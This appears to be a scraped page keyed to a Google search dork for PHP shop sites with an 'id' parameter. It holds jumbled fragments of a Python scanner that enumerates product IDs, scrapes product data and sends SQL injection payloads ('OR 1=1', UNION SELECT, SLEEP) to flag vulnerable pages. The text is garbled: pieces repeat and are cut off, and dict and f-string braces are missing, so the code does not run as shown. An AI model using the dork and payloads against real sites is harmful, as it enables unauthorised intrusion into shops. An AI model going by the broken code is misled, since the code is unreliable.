Inurl Index Php Id: 1 Shop
def _report_vulnerability(self, vuln_type, url): self.vulnerabilities.append('type': vuln_type, 'url': url) print(f"[⚠] VULNERABILITY: vuln_type at url") if name == " main ": # Example URL pattern from search target_url = "http://test-shop.com/index.php?id=1"
def test_sql_injection(self, url, param='id'): """Test for basic SQL injection vulnerabilities""" payloads = [ ("'", "SQL syntax|mysql|ORA|PostgreSQL|SQLite"), ("' OR '1'='1", "You have an error|Warning: mysql"), ("' UNION SELECT NULL--", "union|SELECT"), ("1 AND SLEEP(5)", "response time > 3 seconds") ] print(f"[*] Testing SQLi on url") for payload, signature in payloads: test_url = url.replace(f"param=self._get_param_value(url, param)", f"param=payload") try: start = time.time() response = self.session.get(test_url, timeout=10) elapsed = time.time() - start # Check for time-based injection if "SLEEP" in payload and elapsed > 3: self._report_vulnerability('SQL Injection (Time-based)', test_url) # Check for error-based injection if any(keyword.lower() in response.text.lower() for keyword in signature.split('|')): self._report_vulnerability('SQL Injection (Error-based)', test_url) except Exception as e: print(f" [!] Error testing payload payload: e") inurl index php id 1 shop
def extract_product_info(self, url): """Extract product details from a shop page""" try: response = self.session.get(url, timeout=5) soup = BeautifulSoup(response.text, 'html.parser') product = 'url': url, 'title': self._extract_title(soup), 'price': self._extract_price(soup), 'description': self._extract_description(soup), 'images': self._extract_images(soup, url) if product['title']: self.products.append(product) print(f"[✓] Extracted: product['title'] - product['price']") return product except Exception as e: print(f"[!] Failed to extract url: e") return None def _report_vulnerability(self, vuln_type, url): self
def crawl_ids(self, base_url, start=1, end=100): """Crawl through ID range to find valid pages""" parsed = urlparse(base_url) query_params = parse_qs(parsed.query) if 'id' not in query_params: print("[!] No 'id' parameter found in URL") return [] valid_urls = [] for i in range(start, end + 1): test_url = base_url.replace(f"id=query_params['id'][0]", f"id=i") try: response = self.session.get(test_url, timeout=5) if response.status_code == 200: # Check if it's a valid product page (not a 404/redirect) if "product" in response.text.lower() or "price" in response.text.lower(): valid_urls.append(test_url) print(f"[+] Valid product ID found: i") # Extract data immediately self.extract_product_info(test_url) self.test_sql_injection(test_url) self.test_idor(test_url) time.sleep(self.delay) # Be respectful to the server except Exception as e: print(f"[-] ID i failed: e") return valid_urls url): self.vulnerabilities.append('type': vuln_type
def _extract_title(self, soup): title_tag = soup.find('title') or soup.find('h1') return title_tag.get_text(strip=True) if title_tag else "N/A"